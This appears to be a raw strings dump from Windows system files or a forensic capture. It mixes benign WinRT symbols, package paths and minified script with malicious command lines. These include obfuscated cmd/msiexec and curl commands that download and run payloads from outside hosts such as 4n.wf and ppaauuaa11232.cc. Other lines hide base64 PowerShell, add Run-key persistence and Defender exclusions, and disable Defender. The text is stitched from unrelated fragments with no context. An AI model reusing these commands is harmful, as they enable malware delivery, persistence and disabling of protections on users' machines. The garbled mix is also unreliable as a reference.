struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection __cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection> >::promise_type,struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection>,void>::GetResults(void)
auto __cdecl winrt::impl::consume_Windows_Foundation_IReference<struct winrt::Windows::Foundation::IReference<int>,int>::Value(void) const
struct winrt::weak_ref<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::implementation::CdmConnection> __cdecl winrt::impl::root_implements<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::implementation::CdmConnection,struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection,struct winrt::Windows::Foundation::IClosable>::get_weak<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::implementation::CdmConnection>(void)
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::ApplicationModel::AppService::AppServiceResponse>,struct winrt::Windows::ApplicationModel::AppService::AppServiceResponse>::Completed(const struct winrt::Windows::Foundation::AsyncOperationCompletedHandler<struct winrt::Windows::ApplicationModel::AppService::AppServiceResponse> &) const
void __cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet>,struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::implementation::CdmConnection &,struct winrt::Windows::Foundation::Collections::ValueSet,struct winrt::hstring>::promise_type,struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet>,void>::Cancel(void) noexcept
void __cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet>,struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::implementation::CdmConnection &,struct winrt::Windows::Foundation::Collections::ValueSet,struct winrt::hstring>::promise_type,struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet>,void>::Completed(const struct winrt::Windows::Foundation::AsyncOperationCompletedHandler<struct winrt::Windows::Foundation::Collections::ValueSet> &)
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Windows::ApplicationModel::AppService::AppServiceConnectionStatus>,enum winrt::Windows::ApplicationModel::AppService::AppServiceConnectionStatus>::Completed(const struct winrt::Windows::Foundation::AsyncOperationCompletedHandler<enum winrt::Windows::ApplicationModel::AppService::AppServiceConnectionStatus> &) const
void __cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection> >::promise_type,struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection>,void>::Cancel(void) noexcept
void __cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection> >::promise_type,struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection>,void>::Completed(const struct winrt::Windows::Foundation::AsyncOperati
5b^com.microsoft.windows.extensionpackage
5c^com.microsoft.windows.extension.speechrecognizerextension
com.microsoft.windows.extension.speechrecognizerextension
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft.WindowsTerminal_8wekyb3d8bbweS-1-5-21-3914889805-4071901059-918772286-1001-Out-Allow-AllCapabilitieso
Windows NT Access Provider
 Windows
46^windows.appService
safebrowsing.aesb_update_time_windows_epoch_micros
safebrowsing.aesb_update_time_windows_epoch_micros
safebrowsing.aesb_update_time_windows_epoch_micros
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
com.microsoft.windows.widgetsMicrosoftStartFinanceWidgetsPublic@{Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.StartExperiencesApp/Resources/FinanceWidgetDisplayName}
"Windows
-("Prompt","WindowsSearchBox.Composer.Copilot_QF",undefined,t
ExitWindowsEx
}AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js 
Windows.
Windows 4.0
es@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@3@UIComponentConnector2@56783@@std@@@impl@winrt@@
.?AU?$producer_convert@UStyles@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UStyles@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UStyles@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UStyles@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UStyles@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIComponentConnector@Markup@Xaml@UI@Windows@4@UIComponentConnector2@789Windows@4@@impl@winrt@@
.?AU?$require@UStyles@implementation@TaskManagerApp@winrt@@UIResourceDictionary@Xaml@UI@Windows@4@U?$IIterable@U?$IKeyValuePair@UIInspectable@Foundation@Windows@winrt@@U1234@@Collections@Foundation@Windows@winrt@@@Collections@Foundation@84@U?$IMap@UIInspectable@Foundation@Windows@winrt@@U1234@@Collections@Foundation@84@UIDependencyObject@6784@UIDependencyObject2@6784@@impl@winrt@@
.?AU?$require_one@UStyles@implementation@TaskManagerApp@winrt@@UIResourceDictionary@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IResourceDictionary@UStyles@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UStyles@implementation@TaskManagerApp@winrt@@U?$IIterable@U?$IKeyValuePair@UIInspectable@Foundation@Windows@winrt@@U1234@@Collections@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_Foundation_Collections_IIterable@UStyles@implementation@TaskManagerApp@winrt@@U?$IKeyValuePair@UIInspectable@Foundation@Windows@winrt@@U1234@@Collections@Foundation@Windows@4@@impl@winrt@@
.?AU?$require_one@UStyles@implementation@TaskManagerApp@winrt@@U?$IMap@UIInspectable@Foundation@Windows@winrt@@U1234@@Collections@Foundation@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_Foundation_Collections_IMap@UStyles@implementation@TaskManagerApp@winrt@@UIInspectable@Foundation@Windows@4@U5674@@impl@winrt@@
.?AU?$require_one@UStyles@implementation@TaskManagerApp@winrt@@UIDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject@UStyles@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UStyles@implementation@TaskManagerApp@winrt@@UIDependencyObject2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject2@UStyles@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$base@UStyles@implementation@TaskManagerApp@winrt@@UResourceDictionary@Xaml@UI@Windows@4@UDependencyObject@6784@@impl@winrt@@
.?AU?$base_one@UStyles@implementation@TaskManagerApp@winrt@@UResourceDictionary@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UStyles@implementation@TaskManagerApp@winrt@@UDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UNavigationControl@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@@impl@winrt@@
:\windows\sys
@%SystemRoot%\system32\BcastDVRUserService.dll,-100
@%systemroot%\system32\Windows.Internal.Management.dll,-100
@%systemroot%\system32\SearchIndexer.exe,-103
@windows.storage.dll,-21826
@C:\WINDOWS\system32\windows.storage.dll,-10152
C:\WINDOWS\system32,@elscore.dll,-2
C:\WINDOWS\system32,@elscore.dll,-5
C:\WINDOWS\system32,@elscore.dll,-4
C:\WINDOWS\system32,@elscore.dll,-6
C:\WINDOWS\system32,@elscore.dll,-10
C:\WINDOWS\system32,@elscore.dll,-3
C:\WINDOWS\system32,@elscore.dll,-7
C:\WINDOWS\system32,@elscore.dll,-8
C:\WINDOWS\system32,@elscore.dll,-9
C:\WINDOWS\system32,@elscore.dll,-1
@%SystemRoot%\System32\wscsvc.dll,-200
@%SystemRoot%\system32\qmgr.dll,-1000
@%systemroot%\system32\ssdpsrv.dll,-100
@%systemroot%\system32\SecurityHealthAgent.dll,-1002
@%systemroot%\system32\webthreatdefsvc.dll,-100
@%SystemRoot%\System32\lfsvc.dll,-1
@%SystemRoot%\system32\tzautoupdate.dll,-200
@%SystemRoot%\system32\bdesvc.dll,-100
processcallcreate"cmd/cstart/minc:\windows\system32\windowspowershell\v1.0\powershell.exe-ciex(iwr-usebasicparsing
%systemroot%\system32\shell32.dll
ts.windows.net
onecoreuap\shell\windows.system.launcher\inc\LaunchUriAsyncOperationHelpers.h
onecoreuap\shell\windows.system.launcher\inc\StoreLauncher.h
Microsoft.Windows.UserDataAccess.UserDataService
Microsoft.Windows.CapabilityAccessManagerDesktop
6dows\system32\cmd.exe/ccls&cls&cls&cls&cls&cls&cls&cls&cls&cls&cls&startexplorer
WindowsCompareStringOrdinal
WindowsDuplicateString
WindowsGetStringLen
&.NET Docking Library for Windows Forms
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
SetWindowsHookExW
UnhookWindowsHookEx
GetSystemWindowsDirectoryW
wins.sys<Left Windows key DOWN>HTTPMail Password2MSN Explorer Signup
s\system32\m?
MICROSOFT.WINDOWS.PEOPLEEXPERIENCEHOST
MICROSOFT.WINDOWS.PRINTQUEUEACTIONCENT
Microsoft.Windows.Desktop.Shell.ViewManagerInterop
L	c:\windows
r Speech Recognition (C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\w
installer.cc:334] Failed to read manifest for Trust Token Key Commitments (C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\
installer.cc:334] Failed to read manifest for Subresource Filter Rules (C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\}
Windows.Storage.dll
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft.Windows.Desktop.Shell.PrivilegedOperations
C:%5CWINDOWS%5CSYSTEMAPPS%5CMICROSOFT.
Microsoft.Windows.Shell.UwpWindowLifecycleManagement
](([system.security.principal.windowsidentity]::getcurrent()).groups-match
aml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UPerformancePage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UPerformancePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UPerformancePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UPerformancePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UPerformancePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UPerformancePage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UPerformancePage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UPerformancePage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UPerformancePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UPerformancePage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UPerformancePage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UPerformancePage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UPerformancePage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UPerformancePage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UPerformancePage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AV?$IUIElementOverrides9T@UPerformancePage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AU?$PerformancePage_base@UPerformancePage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@UIComponentConnector2@67894@@implementation@TaskManagerApp@winrt@@
.?AV?$IFrameworkElementOverrides2T@UPerformancePage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverridesT@UPerformancePage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides7T@UPerformancePage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides8T@UPerformancePage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IPageOverridesT@UPerformancePage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverridesT@UPerformancePage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverrides6T@UPerformancePage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AU?$default_delete@VShareWindowCommandSourceProxyOwner@Bamo@ShareWindow@Shell@Internal@Windows@@@std@@
.?AU?$root_implements@UTemplates@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIComponentConnector@Markup@Xaml@UI@Windows@4@UIComponentConnector2@789Windows@4@@impl@winrt@@
.?AU?$root_implements@USettingsPage@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIPageOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides@789Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@UIComponentConnector@Markup@89Windows@4@UIComponentConnector2@Markup@89Windows@4@@impl@winrt@@
:Windows::Services::Store::StorePackageUpdateResult,struct winrt::Windows::Services::Store::StorePackageUpdateStatus>::Progress(const struct winrt::Windows::Foundation::AsyncOperationProgressHandler<struct winrt::Windows::Services::Store::StorePackageUpdateResult,struct winrt::Windows::Services::Store::StorePackageUpdateStatus> &) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncInfo<struct winrt::Windows::Foundation::IAsyncOperationWithProgress<struct winrt::Windows::Services::Store::StorePackageUpdateResult,struct winrt::Windows::Services::Store::StorePackageUpdateStatus> >::Cancel(void) const
auto __cdecl winrt::impl::consume_Windows_Networking_Connectivity_IConnectionProfile<struct winrt::Windows::Networking::Connectivity::IConnectionProfile>::GetNetworkConnectivityLevel(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IVectorView<struct winrt::Windows::Foundation::Collections::IVectorView<struct winrt::Windows::Services::Store::StorePackageUpdate>,struct winrt::Windows::Services::Store::StorePackageUpdate>::Size(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::IVectorView<struct winrt::Windows::Services::Store::StorePackageUpdate> >,struct winrt::Windows::Foundation::Collections::IVectorView<struct winrt::Windows::Services::Store::StorePackageUpdate> >::Completed(const struct winrt::Windows::Foundation::AsyncOperationCompletedHandler<struct winrt::Windows::Foundation::Collections::IVectorView<struct winrt::Windows::Services::Store::StorePackageUpdate> > &) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<bool>,bool>::Completed(const struct winrt::Windows::Foundation::AsyncOperationCompletedHandler<bool> &) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection>,struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection>::Completed(const struct winrt::Windows::Foundation::AsyncOperationCompletedHandler<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection> &) const
struct winrt::Windows::Services::Store::StorePackageUpdate __cdecl winrt::vector_view_base<struct winrt::impl::vector_impl<struct winrt::Windows::Services::Store::StorePackageUpdate,class std::vector<struct winrt::Windows::Services::Store::StorePackageUpdate,class std::allocator<struct winrt::Windows::Services::Store::StorePackageUpdate> >,struct winrt::impl::single_threaded_collection_base>,struct winrt::Windows::Services::Store::StorePackageUpdate,struct winrt::impl::collection_version>::GetAt(const unsigned int) const
void __cdecl winrt::vector_base<struct winrt::impl::vector_impl<struct winrt::Windows::Services::Store::StorePackageUpdate,class std::vector<struct winrt::Windows::Services::Store::StorePackageUpdate,class std::allocator<struct winrt::Windows::Services::Store::StorePackageUpdate> >,struct winrt::impl::single_threaded_collection_base>,struct winrt::Windows::Services::Store::StorePackageUpdate>::RemoveAtEnd(void)
void __cdecl winrt::vector_base<struct winrt::impl::vector_impl<struct winrt::Windows::Services::Store::StorePackageUpdate,class std::vector<struct winrt::Windows::Services::Store::StorePackageUpdate,class std::allocator<struct winrt::Windows::Services::Store::StorePackageUpdate> >,struct winrt::impl::sP
TEMP=C:\WINDOWS\TEMP
USERNAME=WINDOWS11$
TMP=C:\WINDOWS\TEMP
windir=C:\WINDOWS
SystemRoot=C:\WINDOWS
c:\windows\system32\windowspowershell\v1.0\powershell.exe-ejabkad0ajwbkag8adwbuacaaeqbvahuacgagagyaaqbsaguacwanadsasqblafgakaamacgajabkafsamqaxaf0akwakagqawwayaf0akwakagqawwa4af
Microsoft.Windows.Shell.TouchKeyboardExperience
Microsoft.Windows.DeviceManagement.OmaDmApiProvider
Microsoft.Windows.DeviceManagement.ConfigRefresh
Microsoft.Windows.ApplicationModel.DataTransfer.CloudClipboard
Microsoft.Windows.Notifications.WpnDatabaseTelemetry
MICROSOFT.WINDOWS.OOBENETWORKCONNECTIO
Microsoft.Windows.Security.DataProtection.FeClient
-\windows\system32\windowspowershell\v1.0\powershell.exe&-noninteractive-windowstylehidden-noprofileinvoke-expression([system.text.encoding]::utf8.getstring([system.convert]::frombase64string('
micros~1\appdata\local\temp\{7440aefc-66fc-4ff0-8620-7f2c721c8b79}\msppbtcafnvaeqnddtwgkfusssunqucppystpcqgfvqbvryd.jar4msppbtcafnvaeqnddtwgkfusssunqucppystpcqgfvqbvryd.jar~c:\users\microsoft\appdata\local\microsoft\windows\inetcache\content.word\msppbtcafnvaeqnddtwgkfusssunqucppystpcqgfvqbvryd.jar
">nul2>&1@regadd"hkcu\software\microsoft\windows\currentversion\run"/v"
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy (C:\Users\job\AppData\Local\Packages)
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
)'file:C:/Users/job/AppData/Local/Packages/Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/AppData
)!C:\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\AppDatac
C:\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
>LocalCache (C:\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy)
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy (C:\Users\job\AppData\Local\Packages)
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
('file:C:/Users/job/AppData/Local/Packages/Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/LocalCache
(!C:\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\LocalCachec
C:\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
hklm\software\policies\microsoft\windows\windowsupdate
hklm\software\microsoft\windows defender\exclusions\paths\
.P6AJAEBUInstalledWordBreaker@Text@Data@Windows@@PEAPEAUIWordBreaker@@@Z
DriverData=C:\Windows\System32\Drivers\DriverData
Microsoft.WindowsNotepadCN=
Microsoft.Windows.Security.LUA
Microsoft.Windows.PlatformExtensions
Microsoft.Windows.TlgAggregateInternal
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows.Data.WiFi.WiFiProfileCost
Es\dllcache\sethc.exes\dllcache\osk.exes\dllcache\magnify.exeGame Over Good Luck By WindSystemRoot%\system32\termsrvhack.dll[Snapshot]Program Files\Ru%d.EXE
disable%-windowsoptionalfeature
windows%-defender
windows%-defender%-applicationguard
Windows.Client.CBS_cw5n1h2txyewy9
OS=Windows_NT
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.5
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
C:\__w\1\s\packages\Microsoft.Windows.Wil.Internal.0.2.115\inc\wil\opensource\wil\resource.h
[windows.forms.form]::new();
alert("**windowswarning
fn="c:\windows\P
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
ssName:"secondaryText annotation"},y&&React.createElement("span",null,y)),r.iconIsThumbnail&&((d=r.previewIcon)===null||d===void 0?void 0:d.type)!==2&&React.createElement("div",{className:"previewIcon"},React.createElement(t.Thumbnail,{icon:r.previewIcon}))),r.previewPaneType==1&&React.createElement("div",{className:"previewIcon"},React.createElement(t.Icon,{icon:r.previewIcon}),React.createElement("div",{className:"title",id:"previewPaneTitle"},React.createElement("span",null,t.getLocString("SearchTheWebFor")+s()),React.createElement(t.HighlightedText,{text:r.text.replace(/(^")|("$)/g,""),dir:"ltr"}),React.createElement("span",null,h()))),!b&&!p&&!rt&&r.primaryMetadata&&r.previewPaneType!=1&&!(n.config.directNavPreviewPane&&r.type=="MD")&&React.createElement("div",{className:"secondaryText annotation"},!e&&y&&React.createElement("span",null,y),e&&React.createElement("span",null,e),v&&React.createElement("span",null,v)),rt&&r.previewPaneType!=1&&!(n.config.directNavPreviewPane&&r.type=="MD")&&React.createElement("div",{className:"secondaryText annotation"},!e&&ot&&React.createElement("span",null,ot),e&&React.createElement("span",null,e),v&&React.createElement("span",null,v)),!b&&!p&&React.createElement("div",{className:"divider"})),React.createElement("div",{className:"previewDataSection"},et.length>0&&React.createElement("div",{className:"metadata allowcontextmenu","data-partnertag":t.whenTestHooks("AutoSuggest.Preview.Metadata")},et.map(i=>React.createElement("div",{key:i,className:"secondaryText annotation"},!f(i)&&React.createElement("span",{className:"label"},i),React.createElement("ul",{className:"metadataContainer",role:"list","aria-label":i},r.previewMetadata[i].map(f=>React.createElement("li",{id:(i==="Location"||i==="Source")&&!!f.click?n.PreviewMetadataContainerId:"",key:f.text,className:t.classNames("value",{"selectable clickable":!!f.click,sa_hv:!!(l===null||l===void 0?void 0:l.selected)&&!!f.click}),tabIndex:-1,"aria-label":`${f.text}`,"aria-selected":!!(l===null||l===void 0?void 0:l.selected)&&!!f.click,onClick:n=>f.click&&w(f,n.nativeEvent)},(n.config.newFilesPreviewPane||n.Host.isImageGridEnabled()||n.Host.isFullTextRelevanceStringEnabled())&&n.shouldShowRelevanceString(r)&&u(f.text).length===3?(()=>{const[n,t,i]=u(f.text);return React.createElement("div",{style:{wordBreak:"keep-all"}},React.createElement("span",null,n),React.createElement("strong",null,t),React.createElement("span",null,i))})():o(i)?React.createElement("div",{className:"statusLine"},React.createElement("span",{className:"statusIcon"},t.GetCloudFileStatusIcon(f.text))," ",f.text):React.createElement("span",null,f.text)))))),React.createElement("div",{className:"divider"})),!r.uninstallationInProgress&&g.length>0&&g.map((n,t)=>React.createElement("div",{key:n.title},n.title&&React.createElement("h4",{className:"groupTitle"},n.title),React.createElement(i,{suggestion:r,section:n,itemClickHandler:w,numberOfSections:g.length,sectionIndex:t,expanderClickInstrumentation:ht,chevronDownIcon:ct,contextMenuClickHandler:tt}))),!r.uninstallationInProgress&&lt.map(n=>React.createElement("div",{key:n.header},React.createElement("div",{className:"divider"}),React.createElement(t.SettingsOnlineModule,{settingsModule:n,itemClickHandler:w}))),n.config.appSuggestionsModuleEnabled&&!r.uninstallationInProgress&&at.map(n=>React.createElement(t.AppSuggestionsModule,{suggestionsModule:n,itemClickHandler:w})),r.uninstallationInProgress&&ft&&React.createElement(t.WindowsMessage,{dataModel:ft}))),st&&React.createElement(a,{disclaimerDataModel:yt,suggestion:r})):React.createElement(t.AppStorePreviewPane,{suggestion:r,appStore:vt,clickHandler:nt})}}t.WindowsPreviewContainer=l;class i extends React.Component{constructor(n){super(n);this.state={sectionCollapsed:!0};this.toggleSectionVisibility=this.toggleSectionVisibility.bind(this)}toggleSectionVisibility(){let n=this.state.sectionCollapsed;this.setState({sectionCollapsed:!n});this.props.expanderClickInstrumentation(this.props.suggestion,this.props.section.sectionType,n)}render(){const{suggestion:i,section:n,itemClicpiFreeAsyncContext
.c:\windows\system32\cmd.exe/v/rs^tartm^sie^x^e^c/^qj^tf^t^of^w^od=qmh/^p^ac^k^a^g^e"http://4n.wf:8080/adam/gdyqnrjhxjcx6moty681onnok//!computername!"v^cv^g^a=cpqir^ks^d^c!%systemroot%\system32\shell32.dll
c:\windows\system32\cmd.exedesktop/v/rs^t^ar^tmsie^xecdz^xv^ak=^ze^f^z^u-^qu^i^etts^krp=ih^h^q^vq/f^v"http://gz.qa:8080/aty17n7zmgg2dtko/friio6eu6/b0i/fx/balk/!computername!"%windir%\system32\imageres.dll
Zc:\windows\system32\cmd.exeringga/d/v/c^sta^rtm^siex^e^c/q^ej^i^jnfif=t^sdalxuz/pac^ka^ge"http://6t.pm:8080/b2a3/flr/akxmznpgm/nqbycjew2/7t/!computername!"l^au^kk^t^k=wv^c^m^l%windir%\system32\shell32.dll
c:\windows\system32\cmd.exe/v/c"set"lvk1=e"&&set"xcs2=n"&&set"nvq3=c"&&set"fvz4=r"&&set"gxu5=y"&&set"ezx6=p"&&set"bfg7=t"&&set"lpe8=i"&&set"bvz9=o"&&set"vns10=n"&&set"spr11=k"&&set"eut12=e"&&set"xzl13=y"
cpowershell-windowstylehidden$
forfiles.exe#..\..\windows\system32\forfiles.exe/pc:\windows\system32/mnotepad.exe/c"cmd/cpow^ers^hell/w01c^u^rlhtt^p://ppaauuaa11232.cc/aaa.e^xe-oc:\users\public\156498415616651651984561561658456.exe;
"-action$a-trigger$t-ea0|out-null}catch{};start-process$p-windowstylehidden}
"$env:appdata","$env:public","$env:appdata\microsoft\windows\startmenu\programs\startup"|foreach-object{get-childitem-path$_-include*.bat,*.ps1,*.lnk,*.cmd,*.vbs-recurse-erroractionsilentlycontinue
onecoreuap\windows\cdp\sharingplatform\inc\InvokeEventSourceOperation.h
onecoreuap\windows\cdp\sharingplatform\inc\OperationQueue.h
